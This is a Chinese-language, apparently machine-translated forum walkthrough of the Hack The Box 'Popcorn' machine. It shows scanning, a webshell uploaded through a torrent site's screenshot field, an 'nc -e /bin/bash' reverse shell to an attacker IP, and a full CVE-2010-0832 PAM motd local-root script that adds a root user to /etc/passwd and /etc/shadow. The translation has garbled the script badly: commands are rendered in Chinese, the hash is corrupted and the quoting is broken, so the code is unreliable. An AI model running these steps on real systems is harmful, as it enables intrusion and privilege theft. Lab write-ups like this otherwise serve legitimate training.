H

Hack The Box —— Popcorn

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

Hack The Box —— Popcorn​

20190904190902.png-water_print

信息搜集​

nmap​

1
NMAP -T4 -A -V 10.10.10.6
我发现服务器打开了22端口和80端口浏览器以访问HTTP服务,并发现Apache的默认页面只有Apache的默认页面。

目录扫描​

使用dirsearch工具扫描一波目录:
1
Python3 Dirsearch -U http://10.10.10.6 -E HTML
发现test.php页面和Torrent目录,对Torrent目录执行目录扫描,并发现可以访问上传上传目录,并且同时存在index.php页面。

功能点搜索​

本网站是BT种子论坛网站,注册用户,并发现了上传页面。
20190904191408.png-water_print

20190904191435.png-water_print

漏洞利用​

在上传点,我尝试上传网络壳,发现它失败了。我猜想该程序检测到上传文件是否是标准的BT种子文件,并且没有绕过过滤。
继续上传正常的BT种子文件并进行进一步测试:
20190904191857.png-water_print

我发现上传的种子页面存在于屏幕截图图标上传点上。
尝试上传网络壳,发现它已成功上传。
20190904192051.png-water_print

20190904192134.png-water_print

访问上传目录并获取Webshell的地址:
20190904192256.png-water_print

厨房刀连接:
20190904192316.png-water_print

成功获得了用户的标志。
20190904192325.png-water_print

同时,您将在主目录中找到.Cache文件夹。输入后,您将找到motd.legal-display的文件。
20190904192449.png-water_print

使用搜索引擎搜索相关文档并查找:
使用虚拟终端向局部弹跳,以促进功率增加操作。
本地:NC -L 4444
受害机器:NC -E /bin /bash 10.10.14.10 4444
使用厨刀上传EXP脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/bin/bash

#利用title: ubuntu pam motd本地根
#日期: 2010年7月9日
#作者:匿名
#软件link: http://packages.ubuntu.com/
#版本: PAM-1.1.0
#测试在: Ubuntu 9.10(Karmic Koala),Ubuntu 10.04 LTS(Lucid Lynx)
#CVE: CVE-2010-0832
#补丁指令: sudo Aptitude -y更新; sudo才能-y安装libpam〜n〜i
#参考: http://www.exploit-db.com/exploits/14273/克里斯蒂安马云惹不起马云埃里克马云惹不起马云赫曼森(Kristian Erik Hermansen)
p='toor3:x:033333:root3:/root3:/bin/bash'
S='TOOR: $ 6 $ TPURRLW7 $ M0BVNOYS9FEF9/LZV6PQOSPUJOKT0GIV.7JNGRCBWC1XDHMLBNMLBNTWLKYZHZ.V ZWCCECYQU5Q2DLX.CI7NQTSNZ13:147983333333333333333333333333339999999999999333333333333333333333333333333333:'
echo'[*] ubuntu pam motd local root'
[-z'$(哪ssh)'] echo'[ - ] SSH是一个要求'出口1
[-z' $(哪个ssh-keygen)'] echo'[ - ] ssh-keygen是要求'出口1
[-z' $(ps -u root | grep sshd)'] echo'[ - ]运行sshd是要求'出口1
backup(){
[-e'$ 1'] [-e'$ 1'.bak] rm -rf'$ 1'.bak
[-e'$ 1'] ||返回0
MV' $ 1'{,bak} ||返回1
回声'[*]备份$ 1'
}
恢复() {
[-e'$ 1'] rm -rf'$ 1'
[-e'$ 1'.bak] ||返回0
MV' $ 1'{。bak,} ||返回1
回声'[*]还原$ 1'
}
key_create(){
备份〜/.ssh/授权_keys
ssh -keygen -q -t rsa -n''-c'pam'-f'$ key'||返回1
[! -d〜/.ssh] {mkdir〜/.ssh ||返回1; }
MV' $ key.pub'〜/.ssh/oteryized_keys ||返回1
回声'[*] SSH键设置'
}
key_remove(){
RM -F'$ key'
还原〜/.ssh/授权_keys
echo'[*] SSH键已删除'
}
自己的() {
[-e〜/.cache] rm -rf〜/.cache
ln -s'$ 1'〜/.cache ||返回1
echo'[*] spawn ssh'
ssh -o'nohostauthenticationforlocalhost yes'-i'$ key'localhost true
[-w' $ 1'] || {echo'[ - ]自己的$ 1失败';还原〜/.cache;再见; }
Echo'[+]拥有: $ 1'
}
再见() {
key_remove
出口1
}
key='$(mktemp -u)'
key_create || {echo'[ - ]无法设置SSH键';出口1; }
备份〜/.cache || {echo'[ - ]无法备份〜/.cache';再见; }
拥有/etc /passwd echo' $ p' /etc /passwd
拥有/etc /shadow回声'$ s' /etc /shadow
还原〜/.cache || {echo'[ - ]无法还原〜/.cache';再见; }
key_remove
回声'[+]成功!使用密码来扎根'
su -c'sed -i'/toor:/d'/etc/{passwd,shadow}; Chown root: /etc /{passwd,shadow}; \ \
CHGRP影子/etc /shadow; nscd -i passwd /dev /null 21; bash'到或
并给出脚本执行权限:
1
chmod + x 1.sh
执行脚本并获得根本权限:
20190904194200.png-water_print

20190904194204.png-water_print
 
后退
顶部